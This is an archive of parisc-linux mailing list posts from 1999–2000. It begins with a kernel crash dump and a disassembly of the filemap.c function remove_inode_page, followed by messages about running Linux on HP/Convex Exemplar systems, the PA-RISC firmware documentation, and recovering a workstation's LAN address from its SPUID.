42c0 20022380 0006b08b 00000000 00000000 0000003c 0000003e c0270800 00000001
42e0 c02aa72f 00000004 c02aa70b c02aa72f 00000023 0000003e 0000003c 00000024
4300 0000000b c0270c30 c0270800 c0270800 00000020 000000ff c02c4798 00000001
4320 c019ede4 00000001 00000005 ffd05801 00000005 c0268000 00000060 00003fff
4340 c7f98800 c0122d98 000f0800 00000000 0000003c 0000003e c0270800 00000001
4360 c02aa72f 00000004 c02aa70b c02aa72f 00000023 0000003e 00000008 00000002
4380 00000000 cccccccd 0000000a 00001018 00000020 000000ff c02c4798 00000001
43a0 c019ede4 00000001 00000005 ffd05801 00000005 c0268000 00000060 00003fff
43c0 c7f98800 c0122d98 00002002 00002002 00000000 00002002 00002002 00002002
43e0 00002002 00002002 00002002 00002002 0006989f 000698a3 c7dc4000 c7dc4a00
4400 c010f4f0 0000000e 08050259 00002002 000698a4 00000000 07d8e000 00000000
4420 c7f1a200 c7f3f3a0 00000000 c7f03000 00000000 00000000 00000000 00000000
4440 00000000 c7dc4440 00000000 00000000 00000002 00000003 00000000 00000000
4460 e8001128 0d601280 0e001280 341a0078 e85505dc 0d441288 0d60109a e8570c08
4480 695c0030 0804025a e85617f8 37990002 0d401298 3413000a 341a0028 49440030
44a0 081c0246 695c0020 0c801290 c0110d20 68800070 0c801298 e855054c 6bd33f19
44c0 2001f950 00000000 000081ed 00023c20 2001f949 00000000 000bdc88 20026408
44e0 00000000 340f0000 e8000db0 c0110f4c 85e02088 341300b8 8a932040 34130054
4500 00000000 0000007c c56c88c0 c7f1e8c0 c5815007 00000003 00006564 00000010
4520 00000000 00000000 2001f9a1 00000000 2001f9a1 0000005f 0000000f 0000000a
4540 401015d8 401013c4 00000000 00004012 000bcc88 000bcc88 0003a084 401015c4
4560 0008e290 00004800 0000005f c0150c6c 00000000 c7dc4248 c7f98000 c0277708
4580 00023c50 2001f950 c56c8cc0 c5815000 c56c8cc0 00000000 00000000 000c0808
45a0 00000000 00023c20 00000000 c014f490 00023c50 2001f950 2001f9a1 c5815000
45c0 c56c88c0 00000000 ffffffeb 00000000 00000000 00023c50 2001f9a1 2001f9a1
45e0 fffffff4 c0271978 00000000 c0150afc 00023c50 2001f950 20020208 20022348
4600 c24de0c0 fffffffe c60e0070 00023c50 c56c8cc0 c24de154 c24de0c0 ffffffff
4620 c24de138 c0271978 00004800 c014e4d0 00000603 00000073 40100000 40108000
4640 c7dc4600 c7dc450c c7dc4598 c7dc4508 c5815007 c6cba960 00000004 00000000
4660 00000001 c0271c08 00000000 c0164be8 c0271c0c c0271a24 00000000 00000000
4680 00000000 00023c20 00000000 00000000 c56c8cc0 fffffffb c6cba960 c24de0c0
46a0 c09d77c0 00000000 00000000 c0157bb8 c0271c0c c0271a24 40108000 c7efd740
46c0 c6cba960 c24de0c0 c09d77c0 00000070 c7f98000 c02a4600 00000000 00000000
46e0 0000005f 00000001 00000000 c0159440 00000000 00000000 c56c8cc0 fffffffe
4700 00000001 00000000 00023c20 00000000 00000000 c56c8cc0 00000000 00000000
4720 c0274830 c09d77c0 c7efd5c0 c0161610 00004800 0000005f 40000000 c7efd560
4740 c24de134 c24de0c0 c24de0c0 00000070 c56c8cc0 00000000 00000000 00000000
4760 00000000 00000000 00000000 c0130e48 c0271c0c c0271a24 c7dc4940 c012eafc
4780 c04df3e4 00000000 0000005f c09d7880 00000000 c02c81f4 c022f000 c022f000
47a0 00000000 c022f000 c04e1680 c04e1668 c04e167c c7dc45c8 c24de134 c24de0c0
47c0 0004000b c0271000 c0130e48 c04df3d0 c04df3d0 c04df3e8 c022f000 00000000
47e0 c022f000 c022f000 c02c81f4 00000000 c09d7880 0000005f 00000000 00000000
4800 c02a4600 c7f98000 c0277708 c04df417 c09d7880 c09d7880 c0534a0c 0000000a
4820 00000069 c022f53c c022f3b0 c0268000 00000000 00000fff c7dc4a00 c01593d0
4840 00000000 00000000 0000003c 0000003e c0270800 00000001 c02aa72f 00000004
4860 c02aa70b c02aa72f 00000023 0000003e 0000003c 00000024 0000000b c0270c30
4880 c0270800 c0270800 00000020 000000ff c02c4798 00000001 c019ede4 00000001
48a0 00000005 ffd05801 00000005 c0268000 00000060 00003fff c7f98800 c0122d98
48c0 000f0800 00000000 0000003c 0000003e c0270800 00000001 c02aa72f 00000004
48e0 c02aa70b c02aa72f 00000023 0000003e 00000002 0012ea58 00000028 cccccccd
4900 0000000a 00001018 00000020 000000ff c02c4798 00000001 c019ede4 00000001
4920 00000005 ffd05801 00000005 c0268000 00000060 00003fff c7f98800 c0122d98
4940 00000000 00002002 00000000 00002002 00000000 00000000 00000000 00000000
4960 00000000 00000000 c0130b28 c0130b2c 00000000 00000003 000bd000 00000008
4980 0e741288 00000000 c04df41b c7eff180 c02a4000 c7dc4900 00000002 00023c20
49a0 00000000 00000001 c09d7a98 00000000 0012ea58 c02a4600 c7f98000 c0277708
49c0 c7f8da40 c7879ad0 c02b5044 c7f37e00 c7f8da60 0000ffff c0280aa4 c7f8d4a0
49e0 c7f8da40 c7879ad0 c02b5044 c0110928 00000000 c7dc4000 c02c6800 c02c6800

Unexpected Interruption!: Code=28 regs=c7dc47c0 (Addr=00000000)

PSW  : 0004000b  GR 1 : c0271000  GR 2 : c0130e48  GR 3 : c04df3d0  
GR 4 : c04df3d0  GR 5 : c04df3e8  GR 6 : c022f000  GR 7 : 00000000  
GR 8 : c022f000  GR 9 : c022f000  GR10 : c02c81f4  GR11 : 00000000  
GR12 : c09d7880  GR13 : 0000005f  GR14 : 00000000  GR15 : 00000000  
GR16 : c02a4600  GR17 : c7f98000  GR18 : c0277708  GR19 : c04df417  
GR20 : c09d7880  GR21 : c09d7880  GR22 : c0534a0c  GR23 : 0000000a  
GR24 : 00000069  GR25 : c022f53c  GR26 : c022f3b0  GR27 : c0268000  
GR28 : 00000000  GR29 : 00000fff  GR30 : c7dc4a00  GR31 : c01593d0  
SR0  : 00000000  SR1  : 00002002  SR2  : 00000000  SR3  : 00002002  
SR4  : 00000000  SR5  : 00000000  SR6  : 00000000  SR7  : 00000000  

IASQ : 00000000 00000000 IAOQ : c0130b28 c0130b2c
 IIR : 0e741288 ISR : 00000000 IOR : c04df41b


00000000 <remove_inode_page>:
/usr/local/.home/rhirst/cvs/linux-2.3/mm/filemap.c:2536
   0:   6b c2 3f d9     stw rp,-14(sr0,sp)
/usr/local/.home/rhirst/cvs/linux-2.3/mm/filemap.c:2541
   4:   23 20 00 00     ldil 0,r25
/usr/local/.home/rhirst/cvs/linux-2.3/mm/filemap.c:2536
   8:   6f c3 00 80     stw,ma r3,40(sr0,sp)
/usr/local/.home/rhirst/cvs/linux-2.3/mm/filemap.c:2541
   c:   08 1a 02 43     copy r26,r3
/usr/local/.home/rhirst/cvs/linux-2.3/mm/filemap.c:2540
  10:   23 40 00 00     ldil 0,r26
/usr/local/.home/rhirst/cvs/linux-2.3/mm/filemap.c:2536
  14:   37 39 00 00     ldo 0(r25),r25
/usr/local/.home/rhirst/cvs/linux-2.3/mm/filemap.c:2541
  18:   48 73 00 30     ldw 18(sr0,r3),r19
  1c:   37 5a 00 00     ldo 0(r26),r26
/usr/local/.home/rhirst/cvs/linux-2.3/mm/filemap.c:2536
  20:   c7 f3 40 10     bb,*< r19,1f,30 <remove_inode_page+0x30>
/usr/local/.home/rhirst/cvs/linux-2.3/mm/filemap.c:2541
  24:   34 18 00 d2     ldi 69,r24
  28:   e8 40 00 00     b,l 30 <remove_inode_page+0x30>,rp
/usr/local/.home/rhirst/cvs/linux-2.3/mm/filemap.c:2536
  2c:   08 00 02 40     nop
/usr/local/.home/rhirst/cvs/linux-2.3/mm/filemap.c:2541
  30:   0c 70 10 95     ldw  8(sr0,r3),r21
/usr/local/.home/rhirst/cvs/linux-2.3/mm/filemap.c:2536
  34:   2b 60 00 00     addil 0,dp,%r1
/usr/local/.home/rhirst/cvs/linux-2.3/mm/filemap.c:2541
  38:   0e b0 10 93     ldw  8(sr0,r21),r19
/usr/local/.home/rhirst/cvs/linux-2.3/mm/filemap.c:2536
  3c:   36 73 3f ff     ldo -1(r19),r19
/usr/local/.home/rhirst/cvs/linux-2.3/mm/filemap.c:2541
  40:   0e b3 12 90     stw  r19,8(sr0,r21)
/usr/local/.home/rhirst/cvs/linux-2.3/mm/filemap.c:2536
  44:   0c 68 10 94     ldw  4(sr0,r3),r20
/usr/local/.home/rhirst/cvs/linux-2.3/mm/filemap.c:2541
  48:   0c 60 10 93     ldw  0(sr0,r3),r19
  4c:   0e 74 12 88     stw  r20,4(sr0,r19)
  50:   0e 93 12 80     stw  r19,0(sr0,r20)
  54:   48 74 00 70     ldw 38(sr0,r3),r20
  58:   86 80 20 38     cmpib,= 0,r20,7c <remove_inode_page+0x7c>
  5c:   34 36 00 00     ldo 0(r1),r22
  60:   48 73 00 20     ldw 10(sr0,r3),r19
  64:   86 60 20 12     cmpib,=,n 0,r19,74 <remove_inode_page+0x74>
  68:   6a 74 00 70     stw r20,38(sr0,r19)
/usr/local/.home/rhirst/cvs/linux-2.3/mm/filemap.c:2544
  6c:   48 74 00 70     ldw 38(sr0,r3),r20
  70:   48 73 00 20     ldw 10(sr0,r3),r19
  74:   0e 93 12 80     stw  r19,0(sr0,r20)
  78:   68 60 00 70     stw r0,38(sr0,r3)
  7c:   00 01 0e 73     rsm 1,r19
  80:   0e c0 10 94     ldw  0(sr0,r22),r20
/usr/local/.home/rhirst/cvs/linux-2.3/mm/filemap.c:2545
                unsigned long tmp = (PAGE_SIZE << order) / sizeof(struct page *);


From - Thu Nov 08 21:13:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: eric@cirr.com (Eric Schnoebelen)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A question...
Date: Wed, 02 Aug 2000 10:03:44 -0500
Lines: 34
Approved: news@gmane.org
Message-ID: <200008021503.KAA26727@opus.cirr.com>
References: <200008012014.NAA08622@miami.acs.uci.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619028 1996 80.91.229.3 (22 Nov 2014 01:17:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:08 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Richard Massa <int19@hydra.acs.uci.edu>
Original-X-From: eric@cirr.com  Wed Aug  2 09:01:43 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA23439
	for <parisc-linux@puffin.external.hp.com>; Wed, 2 Aug 2000 09:01:42 -0600
Original-Received: (qmail 12278 invoked by uid 15267); 2 Aug 2000 15:03:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12267 invoked from network); 2 Aug 2000 15:03:47 -0000
Original-Received: from ntp-b.cirr.com (HELO opus.cirr.com) (root@192.67.63.6)
  by mailserv2.iuinc.com with SMTP; 2 Aug 2000 15:03:47 -0000
Original-Received: from cirr.com (IDENT:eric@ns-a.cirr.com [192.67.63.1])
	by opus.cirr.com (8.9.0/8.9.0) with ESMTP id KAA26727;
	Wed, 2 Aug 2000 10:03:44 -0500 (CDT)
In-reply-to: Your message of "Tue, 01 Aug 2000 13:14:54 PDT."
             <200008012014.NAA08622@miami.acs.uci.edu> 
Original-Sender: eric@cirr.com
Xref: news.gmane.org gmane.linux.ports.parisc:7637


Richard Massa writes:
- I've got this exemplar in my office, it has 16 233 megahertz
- processors.  I was wondering if its possible to run parisc-linux
- on the machine...

	I suspect it will _never_ be possible to run
parisc-linux (or any Open Source OS) on the Exemplar Series
systems (especialy the SPP1x00 systems) as they are entirely
different than the HP PARISC workstation/server systems.

	A bit of background:  The Exemplar systems were
designed/built by CONVEX before the purchase of CONVEX by HP.
They have an entirely different memory architecture and IO
system.  The memory architecture is based on an SCI ring, if I
remember correctly.. Designed to allow multiple nodes to be
connected together to form a larger system (up to eight nodes in
a complex, as I remember..)  The IO system on an 1x00 system is
SBus based, while the IO system on the 2x00 (now generally
available as the V-class) are PCI based. (oh, and the firmware
is all OBP based.)

	As for an OS, the 1x00 systems run MACH, with a HP-UX
emulating server layer. (originally 9.0x, and later 10.01)

	All in all, you'll probably have more luck running
parisc-linux on the 712 test station.. :-) (and have the add in
ethernet/serial card to play with as well.)

--
Eric Schnoebelen		eric@cirr.com		http://www.cirr.com
	"We are interested in artificial intelligence because there
	  is so much less of the natural kind around these days."


From - Thu Nov 08 21:13:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jason Eckhardt <jason@equator.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] Document Priority?
Date: Thu, 25 Mar 1999 11:56:45 -0800 (PST)
Lines: 23
Approved: news@gmane.org
Message-ID: <199903251956.LAA23724@gatekeeper.equator.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619028 1999 80.91.229.3 (22 Nov 2014 01:17:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:08 +0000 (UTC)
Cc: hppa-linux@thepuffingroup.com
To: mickey@openbsd.org
Original-X-From: jason@gatekeeper.equator.com  Thu Mar 25 14:57:00 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id OAA26566
	for <hppa-linux@sod.res.cmu.edu>; Thu, 25 Mar 1999 14:57:00 -0500
Original-Received: (qmail 13328 invoked by uid 15267); 25 Mar 1999 19:55:48 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 13321 invoked from network); 25 Mar 1999 19:55:47 -0000
Original-Received: from gatekeeper.equator.com (jason@204.137.130.1)
  by mailserv2.iuinc.com with SMTP; 25 Mar 1999 19:55:47 -0000
Original-Received: (from jason@localhost)
	by gatekeeper.equator.com (8.9.1a/8.9.1) id LAA23724;
	Thu, 25 Mar 1999 11:56:45 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:7638


>
> hi
> looking at the released pdc/iodc docs i'm wondering what is in the missing
> chapters? is it possible to release the whole contents table?
> what are the plans for the rest of the book(s) ?
> and, is there any plan for "pa-risc IO architecture" release any soon?

  The PDC/IODC docs posted are actually a subset of the chapters of the
  PA-RISC I/O architecture doc. The first 8 or so chapters of the I/O
  doc contain specific information about the various "Module" types (such
  as processor modules, memory modules, I/O modules, bus converters, etc).
  The last 4-5 chapters and appendices are the same as the PDC/IODC docs we
  have.

  I'm not sure why we were given only the subset (which pertains only to
  the firmware) but I believe we can get a decent start with it. Eventually,
  we will need the other information if we intend to have working device
  drivers, etc. Of course, we can trudge through MkLinux code to figure some of
  it out, but I'd much prefer the doc.

  Jason.


From - Thu Nov 08 21:13:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Marc Dijkstra <Marc.Dijkstra@intrinsitech.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] SPUID.
Date: Thu, 3 Aug 2000 15:04:51 -0500
Lines: 97
Approved: news@gmane.org
Message-ID: <002701bffd86$155c51c0$da0d60c0@dijkstram.intrinsitech.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0024_01BFFD5C.2C7D2200"
X-Trace: ger.gmane.org 1416619029 2001 80.91.229.3 (22 Nov 2014 01:17:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:09 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Marc.Dijkstra@intrinsitech.com  Thu Aug  3 07:03:44 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA18841
	for <parisc-linux@puffin.external.hp.com>; Thu, 3 Aug 2000 07:03:42 -0600
Original-Received: (qmail 25563 invoked by uid 15267); 3 Aug 2000 13:05:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25504 invoked from network); 3 Aug 2000 13:05:42 -0000
Original-Received: from unknown (HELO excsvr.intrinsitech.com) (192.96.13.11)
  by mailserv2.iuinc.com with SMTP; 3 Aug 2000 13:05:42 -0000
Original-Received: by excsvr.intrinsitech.com with Internet Mail Service (5.5.1960.3)
	id <P9DTX5XK>; Thu, 3 Aug 2000 15:08:09 +0200
Original-Received: from dijkstram (dijkstram.intrinsitech.com [192.96.13.218]) by excsvr.intrinsitech.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.1960.3)
	id P9DTX5XJ; Thu, 3 Aug 2000 15:08:05 +0200
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3110.5
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
Xref: news.gmane.org gmane.linux.ports.parisc:7639

This is a multi-part message in MIME format.

------=_NextPart_000_0024_01BFFD5C.2C7D2200
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi all
=20
Strange request I guess, but having a rather nary problem. Changed a
motherboard in a HPs700 B-class workstation and could not read the
LanAddress off the EEPROM (label or otherwise). Need to process a
lanaddress from the SPUID (dec or hex) to use the HP ss_config utility
to change lanaddress.
=20
Anyone in the ether out there working on HP's know the algorithm HP's
use to work out the mac from the SPUID (Software ID) of the Processor?
My current setup (which is wrong) SPUID dec =3D 2002372255
                                                  SPUID hex =3D =
0x7759c69f
                                                  LanAddress =3D
0060b0-f92342
=20
Should be SPUID dec =3D 2002392735
                SPUID hex =3D 0x775a169f
                lanaddress =3D Thats what I need!!!!!
=20
Ta
=20
=20
Marc Dijkstra


------=_NextPart_000_0024_01BFFD5C.2C7D2200
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>


<META content=3D'"MSHTML 4.72.3110.7"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#000000 size=3D2>Hi all</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>Strange request I guess, but having a rather nary =
problem.=20
Changed a motherboard in a HPs700 B-class workstation and could not =
read the=20
LanAddress off the EEPROM (label or otherwise). Need to process a =
lanaddress=20
from the SPUID (dec or hex) to use the HP ss_config utility to change=20
lanaddress.</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>Anyone in the ether out there working on HP's know =
the=20
algorithm HP's use to work out the mac from the SPUID (Software ID) of =
the=20
Processor?</FONT></DIV>
<DIV><FONT size=3D2>My current setup (which is wrong) SPUID dec =3D=20
2002372255</FONT></DIV>
<DIV><FONT size=3D2></FONT><FONT color=3D#000000=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;=20
SPUID hex =3D 0x7759c69f</FONT></DIV>
<DIV><FONT color=3D#000000=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;=20
LanAddress =3D 0060b0-f92342</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>Should be SPUID dec =3D 2002392735</FONT></DIV>
<DIV><FONT size=3D2></FONT><FONT color=3D#000000=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;=20
SPUID hex =3D 0x775a169f</FONT></DIV>
<DIV><FONT color=3D#000000=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;=20
lanaddress =3D Thats what I need!!!!!</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT size=3D2>Ta</FONT></DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>Marc =
Dijkstra<BR></FONT></DIV></BODY></HTML>

------=_NextPart_000_0024_01BFFD5C.2C7D2200--


From - Thu Nov 08 21:13:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SPUID.
Date: Thu, 3 Aug 2000 10:36:18 -0700 (PDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <200008031736.KAA14103@opus.allegro.com>
References: <002701bffd86$155c51c0$da0d60c0@dijkstram.intrinsitech.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619029 2005 80.91.229.3 (22 Nov 2014 01:17:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:09 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Marc.Dijkstra@intrinsitech.com (Marc Dijkstra)
Original-X-From: sieler@opus.allegro.com  Thu Aug  3 11:35:03 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA20997
	for <parisc-linux@puffin.external.hp.com>; Thu, 3 Aug 2000 11:35:02 -0600
Original-Received: (qmail 28704 invoked by uid 15267); 3 Aug 2000 17:37:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27505 invoked from network); 3 Aug 2000 17:36:27 -0000
Original-Received: from opus.allegro.com (209.10.39.50)
  by mailserv2.iuinc.com with SMTP; 3 Aug 2000 17:36:27 -0000
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.9.3/8.9.3) id KAA14103;
	Thu, 3 Aug 2000 10:36:18 -0700
In-Reply-To: <002701bffd86$155c51c0$da0d60c0@dijkstram.intrinsitech.com> from "Marc Dijkstra" at Aug 03, 2000 03:04:51 PM
X-Mailer: ELM [version 2.5 PL3]
Xref: news.gmane.org gmane.linux.ports.parisc:7640

Re:

> Anyone in the ether out there working on HP's know the algorithm HP's
> use to work out the mac from the SPUID (Software ID) of the Processor?
> My current setup (which is wrong) SPUID dec =3D 2002372255
>                                                   SPUID hex =3D =
> 0x7759c69f
>                                                   LanAddress =3D
> 0060b0-f92342
> =20
> Should be SPUID dec =3D 2002392735
>                 SPUID hex =3D 0x775a169f
>                 lanaddress =3D Thats what I need!!!!!
> =20

(BTW, your message came both as plain ASCII and as MIME-encoded HTML.
This triples the network bandwidth (and local storage) needed
by your email.  Most email clients let you uncheck/unconfigure
the "send as HTML" option.)

Try lan address of 0060b0-f92842


From - Thu Nov 08 21:13:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A question...
Date: Thu, 3 Aug 2000 12:40:03 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <20000803124003.A24940@vodka.thepuffingroup.com>
References: <200008012014.NAA08622@miami.acs.uci.edu> <200008021503.KAA26727@opus.cirr.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619029 2009 80.91.229.3 (22 Nov 2014 01:17:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:09 +0000 (UTC)
Cc: Richard Massa <int19@hydra.acs.uci.edu>, parisc-linux@thepuffingroup.com
To: Eric Schnoebelen <eric@cirr.com>
Original-X-From: willy@thepuffingroup.com  Thu Aug  3 11:43:28 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA21493
	for <parisc-linux@puffin.external.hp.com>; Thu, 3 Aug 2000 11:43:28 -0600
Original-Received: (qmail 6128 invoked by uid 15267); 3 Aug 2000 17:45:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6093 invoked from network); 3 Aug 2000 17:45:31 -0000
Original-Received: from smtp.linuxcare.com (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 3 Aug 2000 17:45:31 -0000
Original-Received: (qmail 31687 invoked from network); 3 Aug 2000 17:45:17 -0000
Original-Received: from dis.i.linuxcare.com (HELO vodka.thepuffingroup.com) (192.168.1.57)
  by db1.i.linuxcare.com with SMTP; 3 Aug 2000 17:45:17 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id MAA25132;
	Thu, 3 Aug 2000 12:40:03 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <200008021503.KAA26727@opus.cirr.com>; from Eric Schnoebelen on Wed, Aug 02, 2000 at 10:03:44AM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:7641

On Wed, Aug 02, 2000 at 10:03:44AM -0500, Eric Schnoebelen wrote:
> 
> Richard Massa writes:
> - I've got this exemplar in my office, it has 16 233 megahertz
> - processors.  I was wondering if its possible to run parisc-linux
> - on the machine...
> 
> 	I suspect it will _never_ be possible to run
> parisc-linux (or any Open Source OS) on the Exemplar Series
> systems (especialy the SPP1x00 systems) as they are entirely
> different than the HP PARISC workstation/server systems.

Never say `Never' :-)  There was a port of SparcLinux to some Fujitsu
Sparc-based machine at anu.edu.au whose name currently escapes me.
It just takes the will and sufficient documentation.  The latter part
is of course scarce on discontinued products.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New toolchain, userspace apps, nfsroots, ramdisk, and lifimage
Date: Thu, 03 Aug 2000 19:01:15 -0600
Lines: 46
Approved: news@gmane.org
Message-ID: <20000804010116.10DB1381A0@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619029 2013 80.91.229.3 (22 Nov 2014 01:17:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:09 +0000 (UTC)
Cc: taggart@carmen.fc.hp.com
To: parisc-linux@thepuffingroup.com
Original-X-From: taggart@carmen.fc.hp.com  Thu Aug  3 18:57:36 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA25880
	for <parisc-linux@puffin.external.hp.com>; Thu, 3 Aug 2000 18:57:35 -0600
Original-Received: (qmail 12502 invoked by uid 15267); 4 Aug 2000 00:59:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12481 invoked from network); 4 Aug 2000 00:59:38 -0000
Original-Received: from cosrel2.hp.com (156.153.255.162)
  by mailserv2.iuinc.com with SMTP; 4 Aug 2000 00:59:38 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by cosrel2.hp.com (Postfix) with ESMTP id 16A76208
	for <parisc-linux@thepuffingroup.com>; Thu,  3 Aug 2000 18:59:28 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 10DB1381A0; Thu,  3 Aug 2000 19:01:15 -0600 (MDT)
X-Mailer: exmh version 2.1.1 10/15/1999 (debian)
Xref: news.gmane.org gmane.linux.ports.parisc:7642
